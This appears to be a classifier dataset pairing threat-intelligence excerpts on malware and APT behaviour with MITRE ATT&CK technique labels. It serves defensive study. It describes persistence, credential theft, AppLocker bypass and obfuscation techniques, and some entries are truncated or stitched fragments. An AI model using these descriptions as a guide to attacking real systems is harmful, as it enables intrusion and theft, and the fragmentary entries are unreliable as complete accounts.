+The scripts themselves could be easily extracted and decompiled out of the binaries using uncompyle. The decompiled scripts employed some visual obfuscation techniques by naming variables as combinations of the characters ‘o’, ‘O’, and ‘0’ to hinder analysis. In-depth analysis of the scripts showed the group employed AES in CBC mode using a predefined static key to encrypt files before uploading them to the C2 server	['T1027']
+One of the documents spreads what analysts are calling SQLRat, previously unseen malware that drops files and executes SQL scripts on the host system. The use of SQL scripts is ingenious in that they don’t leave artifacts behind the way traditional malware does. Once they are deleted by the attackers’ code, there is nothing left to be forensically recovered. This technique has not been observed in previous campaigns associated with FIN7	['T1070.004']
+The ‘vsnet’ plugin was intended to spread and launch a payload (BlackEnergy2 dropper itself at the moment) in the local network by using PsExec, as well as gaining primary information on the user’s computer and network. It was a ddos tool compiled to run on ARM systems	['T1021.002']
+Using Frame1_Layout for macro execution and using lesser known API calls for shellcode execution is known to be used by Lazarus. We also were able to find infrastructure overlap between this campaign and past campaigns of Lazarus (Figure 19	['T1106']
+Skidmap also sets up a way to gain backdoor access to the machine. It does this by having the binary add the public key of its handlers to the authorized_keys file, which contains keys needed for authentication	['T1098.004']
+Kwampirs uses a fairly aggressive means to propagate itself once inside a victim's network by copying itself over network shares	['T1021.002']
+When we deploy any web browser, it directly injects the code into its process and deploys illegitimate connections.It is the way to keep in touch with the C&C, monitor user’s activity and steal credentials	['T1055']
+In order to exfiltrate data from a network segment not connected to the Internet, the threat actor deployed a modified version of hTran. This ‘connection bouncer’ tool lets the threat actor redirect ports and connections between different networks and obfuscate C2 server traffic. There have been numerous reports of hTran being used by different Chinese threat actors, including: APT3, APT27 and DragonOK	['T1090.002']
+Each web shell instance is configured to contain SP, Key, and Log variables. When the malicious ISAPI filter captures a username matching this variable, it knows to handle the incoming HTTP request as a command to the web shell. The DES key to encrypt the credentials in the configuration observed by CTU researchers is 12345678, and the log file is c:\log.txt. The decrypted contents of the log file adhere to the format in Figure 22	['T1560.003']
+The original sample involved in the forbes.com breach used HTTP, which is consistent with the original variant discussed in this blog post. It should be noted that while the newest variant that uses direct network communication over port 22 no longer uses HTTP, references to the HTTP strings are still found within the sample itself. This is most likely due to code re-used by the attackers	['T1071.001']
+Some of BRONZE PRESIDENT's malware has persistence capabilities. For example, ORat uses a WMI event consumer to maintain its presence on a compromised host. The group also creates and maintains scheduled tasks to achieve this purpose. Figure 8 shows a Sysdriver scheduled task that periodically executes a Cobalt Strike payload	['T1053.005']
+Compromise website of strategic importance (e.g. websites visitors have a higher likelihood to be targets of interest) - Add one or more webshell backdoors to victim websites to maintain persistence - Webshell used to add JavaScript developed by OceanLotus into the website - The malicious JavaScript makes calls over HTTP or HTTPS to attacker controlled domains to typically load one of two different OceanLotus frameworks - OceanLotus JavaScript frameworks designed to track, profile, and target the compromised website's visitors - Website visitors of interest are flagged for targeting and receive special JavaScript aimed at compromising the user's system or e-mail accounts	['T1105']
+Once decrypted, the backdoor takes a fingerprint of the system. It sends home various data, such as the computer and user names and the operating system version, before waiting for commands to carry out its main mission	['T1082']
+Make a unique filename. This useful utility is widely used by malware to make random, unique file and directory names for payloads. Despite the name, mktemp does not have to be used only in the /tmp directory	['T1564', 'T1564']
+We discovered that TeamTNT gained initial access with the Hildegard malware by executing commands on kubelets that allow anonymous access. This was achieved by accessing the kubelet’s run command API and executing commands on running containers	['T1133', 'T1609', 'T1609']
+The Leeson, Neoichor, and NumbIdea malware families typically use the Internet Explorer (IE) COM interface to connect and receive commands from hardcoded C2 servers. Due to their reliance on IE, these malware families intentionally configure the browser settings by modifying the following registry entries	['T1112', 'T1071.001']
+We also identified a Tomiris variant (internally named “SBZ”, MD5 51AA89452A9E57F646AB64BE6217788E) which acts as a filestealer, and uploads any recent file matching a hardcoded set of extensions (.doc, .docx, .pdf, .rar, etc	['T1005']
+The files are encrypted with a randomly generated 128-bit AES key in CBC mode with a NULL initialization vector. The key is generated per file, is encrypted with the generated RSA public key, and included in the encrypted file header. Each file encrypted by the malware starts with the string WANACRY. and has the WNCRY extension. Depending on the file properties, the malware may also stage files in a WNCRYT extension	['T1083']
+Once TrickBot verifies it can connect to the Internet, it communicates with C2 servers, some of which using TOR-related domains. It collects and sends information about where the target machine is located to the C2 servers	['T1008']
+In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The first byte of the string is used as the XOR key to in turn decode the remainder of the data	['T1082']
+In multiple instances, the threat actors created new accounts on the staging targets to perform cleanup operations. The accounts created were used to clear the following Windows event logs: System, Security, Terminal Services, Remote Services, and Audit. The threat actors also removed applications they installed while they were in the network along with any logs produced. For example, the Fortinet client installed at one commercial facility was deleted along with the logs that were produced from its use. Finally, data generated by other accounts used on the systems accessed were deleted	['T1070.004', 'T1070.001']
+OverWatch continued to track the threat actor’s malicious behavior as they downloaded additional scripts and then executed a Base64-encoded command via PowerShell1 to retrieve malware from their toolkit	['T1059.001']
+Following the reconnaissance phase, the threat actor attempted to dump credentials stored on the compromised machines. The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes. This version of mimikatz did not require any command line arguments, most likely in an attempt to avoid detection based on command-line auditing. The dumped hashes were used to authenticate to other machines via pass the hash	['T1003.001']
+After gaining access to the victim’s environment (presumably by using stolen credentials, either obtained via phishing, or bought on the dark web), the attacker sets up remote tunnelling using a SSH tool. The tool is configured to redirect traffic from a malicious domain to a proxy that is listening on a local port. The tunnel is authenticated using the attacker’s private key	['T1572']
+FoggyWeb is a passive and highly targeted backdoor capable of remotely exfiltrating sensitive information from a compromised AD FS server. It can also receive additional malicious components from a command-and-control (C2) server and execute them on the compromised server	['T1041', 'T1105']
+In at least two incident response (IR) engagements, Blue Mockingbird has exploited public-facing web applications (T1190: Exploit Public-Facing Application) that implemented Telerik UI for ASP.NET AJAX. This suite of user interface components accelerates the web development process, but some versions are susceptible to a deserialization vulnerability, CVE-2019-18935. The exploitation of this CVE is not unique to Blue Mockingbird, but it has been a common point of entry	['T1190']
+Lately, the configuration mechanism has been changed and is now stored in the Windows Registry at HKCU\Software\ under keys with names like %USERNAME% and ToolTech-RM. Those names, as well as the names of values they contain, change frequently, but the information contained consists of	['T1112']
+Most of the initial payloads in these campaigns are signed with valid certificates to evade security tools. They abuse the relative trust that is given to signed binaries to avoid detection	['T1553.002']
+In 2020, Pawn Storm often tries to obfuscate these brute force attempts by routing their attack traffic over Tor and VPN servers. In a Microsoft article about brute-forcing Office365 credentials over Tor, Microsoft attributed the activities to Strontium, which is another name for Pawn Storm. These brute force attacks started in 2019, and then we could firmly attribute them to Pawn Storm because we could cross-relate the extensive probing of Microsoft Autodiscover servers around the world with high-confidence indicators of the group’s more traditional attack methods (spear phishing and credential phishing	['T1090.003']
+"The ROKRAT samples used during the two ""Evil New Year"" and the ""North Korean Human Rights"" campaigns contained a reconnaissance phase. The malware uses the following registry key to get the machine type: HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData. The ""System manufacturer"" value is used to identify the type of machine. The source code only considers the following machine types"	['T1012']
+The DNS response will return a CNAME record that points to a Command and Control (C2) domain. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications	['T1071.004']
+The actors leveraged publicly available utilities Adfind, BLOODHOUND, SHARPHOUND, and KERBRUTE on victim networks to collect Active Directory information and credentials. WMIC commands have been used to perform host reconnaissance, including listing installed software, listing running processes, and identifying operating system and system architecture. The actors have used a batch script to ping all servers identified during Active Directory enumeration and output the results to res.txt. The actors used the Nltest command to list domain controllers	['T1018']
+For example, the following sample loads the malware as shellcode within a .NET Framework project using msbuild.exe, effectively bypassing application allowlisting techniques	['T1127.001']
+If elevated privileges are not obtained, the malware falls back to using the same Windows registry run key as the older mode variant for persistence HKCU\Software\Microsoft\Windows\CurrentVersion\Run. However, if the malware is successful in elevating privileges, it begins to enumerate existing Windows services on the host that are configured to run as LocalSystem. The malware selects services that are currently not active and ignores services that launch the executables svchost.exe and lsass.exe. For each service, the malware attempts to take control of the service’s executable — first using icacls.exe with the /reset flag to reset the executable’s permissions, then using takeown.exe with the /F flag to take ownership of the executable	['T1007']
+Microsoft by default disables the dynamic execution of the macro, and if an attacker needs to execute one dynamically—which is the case here—the threat actor needs to bypass the VB object model (VBOM) by modifying its registry value	['T1112']
+After exploiting these vulnerabilities to gain initial access, HAFNIUM operators deployed web shells on the compromised server. Web shells potentially allow attackers to steal data and perform additional malicious actions that lead to further compromise. One example of a web shell deployed by HAFNIUM, written in ASP, is below	['T1505.003']
+This INI file is parsed to determine what Comnie should do. Comnie allows the attacker to provide and subsequently execute a batch script (BAT), executable file (EXE), or dynamic-link library (DLL). Using this example, Comnie will then request data to supply to the BAT script, via the following decrypted request: h=HOSTNAME-PC&f=gethostinfo.bat&c=& Based on network traffic witnessed, the remote C2 server was found to respond with the following information	['T1119']
+The samples analyzed are packed with UPX. The UPX header has been modified to break the unpacker provided by the UPX project. Instead of having the “UPX. string, it has been replaced with “LSD. Repairing the header is needed to unpack the samples using the unpacker provided by the UPX team	['T1027']
+According to Group-IB's Threat Intelligence & Attribution system, the alleged database was published on a fraudulent resource known for reselling data that has been published on various data-leak websites. Compromise of Air India's network In mid-February 2021, Group-IB's Threat Intelligence & Attribution system detected infected devices that were part of Air India's computer network. Starting from at least February 23, 2021, a device inside the company's network communicated with a server with the IP address 185[.]118[.]166[.]66. The threat actor collected information inside the local network, including names of network resources and their addresses. Below are examples of commands that were used for lateral movement: . The name of the campaign, ColunmTK, is derived from these initially discovered domains. ColunmTK Timeline Connections with APT41 Group-IB researchers believe with moderate confidence that the ColunmTK campaign was carried out by APT41, a prolific Chinese-speaking nation-state threat actor. According to Group-IB's Threat Intelligence & Attribution system, the threat actor has been active since at least 2007. This IP address was used as an A record for two domains: server04[.]dns04[.]com and service04[.]dns04[.]com. The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. The file is very similar to one used by APT41 in a different campaign described by FireEye researchers	['T1049']
+Qualys Threat Research has identified a new Lazarus campaign using employment phishing lures targeting the defence sector. The identified variants target job applicants for Lockheed Martin. This blog details the markers of this campaign, including macro content, campaign flow and phishing themes of our identified variants and older variants that have been attributed to Lazarus by other vendors	['T1083']
+It then issues a SOAP request to delete the processed email. This completes the process in which the payload receives inbound communications from the actor	['T1070.004']
+Now the virtual environment is prepared, the install.bat command goes through a list of process names and terminates these processes so any files they have open are unlocked and become accessible for encryption. This list of 50 entries consists of mainly line-of-business applications, database, remote management and backup applications and is stored in a text file. Another text file contains services names. These are tailored to the victim organization’s network environment, including process and service names belonging to endpoint protection software	['T1489']
+Prior to 2014, IRON LIBERTY used custom malware, primarily Sysmain, Havex, and xFrost (now known as Karagany), combined with commodity penetration testing and tools	['T1189']
+"The Bluetooth functionality in Flamer is encoded in a module called ""BeetleJuice"". This module is triggered according to configuration values set by the attacker. This means that a computer compromised by W32.Flamer will appear when any other Bluetooth device scans the local area. In addition to enabling a Bluetooth beacon, Flamer encodes details about the infected computer (see Figure 1) and then stores these details in a special 'description' field. When any other device scans for Bluetooth-enabled devices, this description field will be displayed: These are the facts of how Flamer uses Bluetooth. The attacker, however, could identify the location of compromised devices using Bluetooth. The Beetlejuice module already has retrieved a list of all the devices IDs which are near to the infected computer and so the attacker knows what devices belong to the victim. Some attacks have even identified Bluetooth devices more than one mile away. With increase functionality an attacker, having identified various Bluetooth devices in range, could perform numerous attacks: - Steal contacts from an address book, steals SMS messages, steals images, and more. An attacker within one mile of the target could use their own Bluetooth-enabled device for this. If the second computer is using a secured network and was infected through a USB connection, potentially the only network available would be a Bluetooth connection back to the first compromised computer"	['T1011.001']
+The SysInfo plugin runs a selection of basic reconnaissance commands on the victim's machine via a cmd.exe process	['T1059.003']
+To compress the data, GetFrame() invokes the Common.Compress() method, which is used to compress the data by leveraging the C# GZipStream compression class	['T1560.002']
+On top of this configuration change, this sample does not use the libcurl library for network exfiltration. Instead, it uses an external library. To locate it, the backdoor tries to decrypt each file in the current directory using AES-256-CBC with the key gFjMXBgyXWULmVVVzyxy padded with zeroes. Each file is “decrypted” and saved as /tmp/store and an attempt to load it as a library made using the dlopen function. When a decryption attempt results in a successful call to dlopen, the backdoor then retrieves the exported functions Boriry and ChadylonV, which seem to be responsible for the network communication with the server. As we do not have the dropper or other files from the original sample’s location, we could not analyse this library. Moreover, since the component is encrypted, a YARA rule based on these strings would not match the file found on disk	['T1027']
+FIVEHANDS uses an embedded NTRU public key. This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note. This NTRU pubic key is also used to encrypt each file's symmetric key. For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file. After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file. The four magic bytes DB DC CC AB are appended to the end of the encrypted file. FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted	['T1486']
+The Seedworm group controls its Powermud backdoor from behind a proxy network to hide the ultimate command-and-control (C&C) location. The Seedworm group is the only group known to use the Powermud backdoor	['T1090.002']
+While we do not have data supporting targeting information or telemetry, we know the document was created in January 2018 and likely used in an attack around that time frame. The QUADAGENT payload dropped by the delivery document had the filename AdobeAcrobatLicenseVerify.ps1 and used acrobatverify[.]com for its C2. This IP and msoffice-cdn[.]com were both previously referenced in our first report on an OilRig attack using the ThreeDollars delivery document. We used this QUADAGENT payload when testing the Invoke-Obfuscation tool mentioned in this blog. QUADAGENT Analysis The final payload delivered in all three attack waves is a PowerShell downloader referred to by other research organizations as QUADAGENT. The downloaders in these attacks were configured to use both rdppath[.]com and cpuproc[.]com as their C2 servers. When communicating with its C2 server, the downloaders use multiple protocols, specifically HTTPS, HTTP or DNS, each of which provide a fallback channel in that order. For instance, the downloader will first attempt to communicate with its C2 server using an HTTPS request. Lastly, if the HTTP request is not successful, the downloader will fallback to using DNS tunneling to establish communications. We provide more on the specific usage of these protocols as we discuss the inner workings of this malware in this section	['T1008']
+By performing two-factor authentication interception by receiving the OTP on their own telephone number, they gained access to the company network via the VPN. Our hypothesis is that they tested the 2FA-system first or selected the primary phone number to send a SMS to. Thus the 2FA code was sent with supporting Chinese text	['T1111']
+The script will then proceed to download a tar compressed archive from a download server according to the architecture of the compromised system	['T1105']
+In their advisory published on Jan. 26, 2022, CERT-UA asserted that the initial vector for the malware, dubbed WhisperGate, was either a supply-chain attack or exploitation. The first payload in this infection is responsible for the initial attempt at wiping the systems. The malware executable wipes the master boot record (MBR) and replaces it with the code responsible for displaying the ransom note. Similar to the notorious NotPetya wiper that masqueraded as ransomware during its 2017 campaign, WhisperGate is not intended to be an actual ransom attempt, since the MBR is completely overwritten and has no recovery options. This wiper also tries to destroy the C:\ partition by overwriting it with fixed data. The additional steps taken to wipe the actual hard drive partition differentiate its behavior from other wiper malware like NotPetya. However, most modern systems today have switched to GUID Partition Table (GPT) from MBR, which allows for larger file systems and has fewer limitations, potentially limiting some of the impacts of this executable	['T1542.003']
+Process name, service name, and driver path listings are obtained, and each value is hashed via the FNV-1a + XOR algorithm as described previously and checked against hardcoded blocklists. Some of these hashes have been brute force reversed as part of this analysis, showing that these routines are scanning for analysis tools and antivirus engine components. If a blocklisted process is found the Update routine exits and the sample will continue to try executing the routine until the blocklist passes. Some entries in the service list if found on the system may affect the DGA algorithms behavior in terms of the values generated. The list of stopped services is then bit-packed into the ReportWatcherPostpone key of the appSettings entry for the samples’ config file. The sample retrieves a driver listing via the WMI query Select * From Win32_SystemDriver	['T1057']
+Note that the actor used the DLL name wercplsupporte.dll as an attempt to masquerade as the legitimate DLL name, which is wercplsupport.dll (T1036.005: Match Legitimate Name or Location). In addition, more masquerading was used to make malicious Scheduled Tasks blend in with legitimate ones (T1053.005: Scheduled Task	['T1036.005']
+All this data is merged in one file xmlrwbin.inc, which is then encrypted with RC4. To be able to decipher the data, the attacker should certainly know either the MD5 hash or the whole buffer content. This data is also sent, but RSA encrypted. The malware constructs a 1120 bit public key, uses it to encrypt the 117-bytes buffer. The malware then concatenates all the data to be sent as a 128-bytes block. The resulting data is saved in C:Program FilesCommon FilesSystemOle DB to a file named according to the following format	['T1070.004']
+The file reflectively injects a ransomware DLL into the memory of the legitimate running process explorer.exe	['T1055.001']
+They renamed their files to make them look like legitimate files, for example, KB77846376.exe, named after Microsoft update files. They routinely used standard tools that would mimic legitimate administrator activities. When planting webshells on the Outlook Exchange servers, they modified already existing legitimate flogon.js and logoff.aspx files. They relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution. They used multiple staging folders and opted to use directories that were used infrequently by legitimate users or processes. They routinely deleted dropped attack tools, execution logs, files staged for exfiltration, and other files after they were finished with them. They renamed their tools' filenames in the staging folder so that it would not be possible to identify the malware's purpose, even after it was deleted from the disk through the residual artifacts (e.g. ShimCache entries or WMI Recently Used Apps). - They used timestomping to modify the $STANDARD_INFORMATION attribute of the attack tools	['T1070.004']
+Limited obfuscation was encountered, where the authors split up strings into smaller sub-strings and used ‘strcpy’ and ‘strcat’ calls to re-build them prior to use. They also used this same technique to generate garbage strings that are never used. Comments have been added to show the fully-generated strings	['T1027']
+We also noticed that the actors reused the VBS decode function published by Motobit. Figure 4 shows the comparison between the base64 function used in the macro code and the VBS base64 decoder function published by Motobit	['T1059.005']
+Windows AppLocker allows administrators to control which executable files are denied or authorized to execute. AppLocker works well for executables and over time it has also been improved to control various script types, including JScript, PowerShell and VBScript. This has significantly reduced the attack surface and forced attackers, including more sophisticated groups, to find new methods of launching executable code. A number of legitimate Windows executables that are not blocked by the default AppLocker policies has been discovered and various proof of concept AppLocker bypass code became publicly available. Example of malicious scriptlet file used to drop a malicious DLL dropper for the next stage Microsoft allows developers to create COM+ objects in script code stored in an XML document, a so-called scriptlet file. To bypass AppLocker and launching script code within a scriptlet, the attacker includes the malicious code within an XML script tag placed within the registration tag of the scriptlet file and calls cmstp with appropriate parameters. For example: Here, the attackers randomize the scriptlet name and use a .txt filename extension, likely in an attempt to bypass fundamental protection mechanisms that attempt to block file types based on the filename extension. Payload dropper in an XSL file Another executable used to attempt bypass of the AppLocker feature is msxsl.exe, a Windows utility used to run XSL (eXtensible Stylesheet Language) transformations. It takes an XML and an XSL file as a parameter, but it also loads the script engine and runs the script code within the <msxsl:script> tag of the supplied XSL file when invoked through a call placed within the <xsl:value-of> tag. Invoking the JScript code of the payload dropper within an XSL file The supplied XML file seems to be randomly generated and used simply because the second parameter is required and is of no further interest for analysis	['T1220']
+Inception is continuing to use chains of infected routers to act as proxies and mask communications between the attackers and the cloud service providers they use. Certain router manufacturers have UPnP listening on WAN as a default configuration. These routers are hijacked by Inception and configured to forward traffic from one port to another host on the internet. Abuse of this service requires no custom malware to be injected on the routers and can be used at scale very easily. Inception strings chains of these routers together to create multiple proxies to hide behind	['T1090.003']
+The classic Shlayer technique is clearly evident here: passing encrypted and password-protected code to openssl and then writing that out as a payload to the /tmp folder	['T1140']
+While both malware families are designed to deploy Cobalt Strike Beacon, there are differences in Cobalt Strike configuration. To date, Symantec has seen four samples of Raindrop. In three cases, Cobalt Strike was configured to use HTTPS as a communication protocol. In the fourth it was configured to use SMB Named Pipe as a communication protocol	['T1090.001']
+Nonetheless, the infected DLL contains just one method (named DynamicRun), that can receive a C# script from a web request, compile it on the fly, and execute it	['T1059.001']
+There are additional keys within the Registry that can be modified to further roll back the patch and expose unsafe options in Outlook. The following setting can be used to re-enable the original home page tab and roaming home page behavior in the Outlook UI	['T1137.004']
+In addition to the encrypted strings table, BitPaymer replaces the remaining strings in the binary with hashes and uses an algorithm to match these hashes with strings that exist on the host. The hashing algorithm generates a CRC32 hash of the string, converted to lowercase. This hash is combined with a DWORD using a simple XOR. This string hashing algorithm is identical to the hashing algorithm used in other Dridex modules. The hash algorithm has been replicated in Python below	['T1027']
+Targets are approached with spearphishing emails that contain a link to a ZIP file hosted on Google Drive. That archive contains several LNK (aka shortcut) files that extract and execute a malicious JavaScript component, while displaying a decoy document	['T1204.001', 'T1566.002']
+Throughout our research, we witnessed several different infection chains being used to deliver the Aria-body backdoor. This RTF file, which was infected (weaponized) with the RoyalRoad exploit builder, drops a loader named intel.wll into the target PC’s Word startup folder. The loader in turn tries to download and execute the next stage payload from spool.jtjewifyn[.]com	['T1137.006']
+When running on Windows 7, the malicious library uses the Metasploit Framework’s open-source code Win7Elevate to inject malicious code into explorer.exe	['T1055']
+Over 80 files were sent to 40 email accounts within the organization, within the span of about an hour. The email contains Microsoft Excel attachments with malicious macros. When the file is opened, it loads in Microsoft Excel and urges the user to enable macros	['T1204.002']
+RTF documents sent in the observed campaigns contain exploits for several vulnerabilities in Microsoft Office, and they seem to be created using a version of an exploit toolkit, often referred to as Threadkit. Threadkit is not exclusively used by the actors behind the observed attacks but also by other groups utilizing various payloads, including Trickbot, Lokibot, SmokeLoader and some other banking malware. The embedded object triggers a download of an HTML page containing the VBScript that exploits the vulnerability and launches the shellcode. The HTML component of the exploit is based on the original exploit code discovered in May this year. CVE-2018-8174 VB script exploit code	['T1203']
+BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities	['T1082']
+Upon execution, the Micropsia malware takes screenshots every 90 seconds by calling to Gdi32.BitBlt API. Screenshots are saved as unencrypted files in JPEG format with a specific file name that contains the current timestamp (yyyy-mm-dd hh-nn-ss) with the hardcoded extension .his	['T1113']
+Both variants build their API imports dynamically using GetProcAddress, including wtsapi32.dll for gathering user and domain names for any active remote sessions - Both variants contain a variety of functionalities based on command IDs issued by the control servers - Common capabilities of both malware: Listing files in directory Creating arbitrary processes Writing data received from control servers to files on disk Gathering information for all drives Gathering process times for all processes Sending the contents of a specific file to the control server Wiping and deleting files on disk Setting the current working directory for the implant Sending disk space information to the control server - Listing files in directory - Creating arbitrary processes - Writing data received from control servers to files on disk - Gathering information for all drives - Gathering process times for all processes - Sending the contents of a specific file to the control server - Wiping and deleting files on disk - Setting the current working directory for the implant - Sending disk space information to the control server - Both variants use a batch file mechanism to delete their binaries from the system - Both variants run commands on the system, log output to a temporary file, and send the contents of the file to their control servers	['T1082', 'T1057', 'T1083']
+Our dynamic analysis showed Lokibot’s behavior, including the benefits and drawbacks of several unpacking methods. Lokibot also used an infected system machine global unique identifier (GUID) value to generate a mutex (an MD5 hash) that acted as a flag to prevent itself from infecting the same machine again. We conducted dynamic analysis to observe network and system behavior once it infected our Windows OS. We then conducted a static analysis to examine Lokibot’s techniques and targets. The response for this request is a customized 404 page, which can also be detected using Suricata signatures provided on the Malpedia page cited above as well. We also noticed that the value of the sub key is the path to the file that Lokibot created after its initial execution. There are no unusual sections, and the size and distribution of the sections, especially .text, mirrors a standard unpacked binary (Figure 6).File Metadata and StringsThe binary is a PEx86 binary, which can be run on both x86 and 64-bit Windows OS. This is a strong indication that the binary is a .NET library, because mscoree.dll and _CoreExeMain are primarily used to load .NET binaries. Figure 9Hollow Process; Manually Unpacking the First Stage BinaryWe tried to follow the binary with a debugger to determine where it unpacked itself in the memory, but Lokibot used a hollow process technique to obscure some of this activity. Because the malware was loaded into vbc.exe, the process viewer will show it as a legitimate process, making it more difficult for a user to identify	['T1055.012']
+In a recent wave of attacks during February 2019, Elfin attempted to exploit a known vulnerability (CVE-2018-20250) in WinRAR, the widely used file archiving and compression utility capable of creating self-extracting archive files. The exploit was used against one target in the chemical sector in Saudi Arabia. If successfully exploited on an unpatched computer, the vulnerability could permit an attacker to install any file on the computer, which effectively permits code execution on the targeted computer	['T1203']
+When the decrypt button is clicked without the ransom being paid, the malware decrypts the files listed in f.wnry. The files listed in f.wnry are those randomly selected to be encrypted with the embedded public key	['T1486']
+The backdoor appears to support network communication over ports 80 (HTTP) and 443(HTTPS). In recent samples, a certificate is issued from the infected host for communication over HTTPS	['T1071.001']
+Close analysis of the delivered payloads and legitimate resources retrieved from URLs by the first stage malware dropper reveals that TA416 is once again using an updated version of PlugX malware to target their victims. Historically, the group has relied on a variety of legitimate antivirus files, including the Avast file resource wsc_proxy.exe, to begin the process of DLL search order hijacking that results in PlugX malware installation. In the January 2022 campaigns, TA416 used the PE file potplayermini.exe to initiate DLL search order hijacking. This is a legitimate executable file that is part of the publicly available media player Daum PotPlayer 1.5.29825, which Mandiant has previously documented as being susceptible to search order hijacking since at least 2016. The file DocConvDll.dll has also intermittently been used as a loader of the PlugX DAT configuration files. For those that are familiar with TA416’s historic tactics, techniques, and procedures (TTPs), this is highly similar to the Trident Loader method which the group used to install PlugX in previous campaigns	['T1574.001']
+Password from successful login to the infected server: Whenever someone logs in a system infected with Linux/Ebury, the sshd daemon will save the password and send it to the exfiltration server. Password on successful login from the infected server: When someone uses the ssh client on an infected server, Linux/Ebury will intercept the password and sent it to its exfiltration server. Private key passphrase: When the ssh client on an infected server prompts the user for an private key passphrase, the passphrase will be sent to the remote exfiltration server. Unencrypted private key: When a private key is used to authenticate to a remote server, the unencrypted version is intercepted by the malware. Unlike passwords, it will not send the key to the exfiltration server. Instead, it will store it memory and wait for the operators to fetch the key with the Xcat command. Private keys added to the OpenSSH agent with ssh-add: The keys added to an OpenSSH agent are also intercepted by the malware. Both the unencrypted key itself and the passphrase typed by the user will be logged	['T1552.004']
+Details: One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe. Writing an analytic looking for a process of esentutl.exe with Windows\WebCache in the command line may help you catch this behavior	['T1005']
+"Executes VBScript using Process.Start. Next, the DLL loads an embedded resource named ""78c855a088924e92a7f60d661c3d1845"" into memory and decrypts it using multiple XOR operations. Loads the resource using Assembly.GetManifestResourceStream. Method that performs the XOR decryption. The decrypted resource is a DLL file embedded with two resources named ""AdvancedRun"" and ""Waqybg"" that are compressed with GZip. Two resources embedded in the decrypted resource. The third-stage DLL proceeds by loading the ""AdvancedRun"" resource into memory, decompressing it and dropping it as ""AdvancedRun.exe"" into the %TEMP% directory. Calling GZipStream class to decompress the resource. Drops AdvancedRun.exe using File.WriteAllBytes. The TrustedInstaller group was an addition to Windows beginning in Windows 7 with the goal of preventing accidental damage to critical system files"	['T1140']
+When executed, the .NET Framework wrapper will first check if VMware tools is running in background, this is done via a simple process check, searching for any process named “vmtoolsd. Provided there are no matching processes running, the malware continues execution, creating a registry entry with the name ‘MSASCuiLTasks’ in HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce for persistence. Next, it will copy the first stage shellcode in memory and create a new thread with the shellcode running in it, the code responsible for this execution is shown in Figure 1	['T1497.001']
+This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. The Cobalt Strike module can use several profiles and switch between data exchange methods on command from the C&C server without the need to update the module. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed	['T1547.001']
+"Raindrop is compiled as a DLL, which is built from a modified version of 7-Zip source code. The 7-Zip code is not utilized and is designed to hide malicious functionality added by the attackers. The DLL is compiled where the Name file of the Export Directory Table is “""7-zip.dll"" and the Export Names are"	['T1036']
+Targets are sent spear phishing e-mails that lead them to a web site displaying a lure document and are immediately prompted to install a malicious Google Chrome extension. Once gaining a foothold, the threat actors use off-the-shelf tools to ensure persistence, including Remote Desktop Protocol (RDP) to maintain access. Figure 2: HTML Source of Phishing Page The malicious extensions, now removed from the Chrome Web Store, contain reviews left by the threat actor using compromised Google+ accounts. It should be noted however, that some users reported deleting the extension immediately because it prevented the Chrome browser from functioning properly. The malicious Chrome extensions declare permissions to run on every URL in the browser, as seen in Figure 3. Loading jQuery.js from an external site makes no sense, since the latest version of extension has a legitimate jQuery.js included in the extension bundle. Figure 4: Given the threat actor’s propensity for password theft, and the fact that the malicious Chrome extensions were situated to read data from every website, it's likely that the intent is to steal browser cookies and passwords. A compromised or stolen certificate was used to sign several PE files used in STOLEN PENCIL for two sets of tools: - MECHANICAL Logs keystrokes to %userprofile%\appdata\roaming\apach. Figure 5: Certificate used to sign MECHANICAL/GREASE While the threat actors did use a few tools to automate intrusions, we also found a ZIP archive of tools that demonstrate their propensity for password theft to propagate. Advise users to be wary of any prompts to install browser extensions, even if they are hosted on an official extension site	['T1555.003']
+In both cases, Group5 disguised the malicious binaries with several layers of obfuscation, including crypting and packing to reduce the possibility of detection by antivirus software	['T1027']
+The malware also monitors all fixed and removable drives mapped on the local system. Whenever a new drive is inserted, it creates a list of all the files on the drive and stores it encrypted in a file	['T1119']
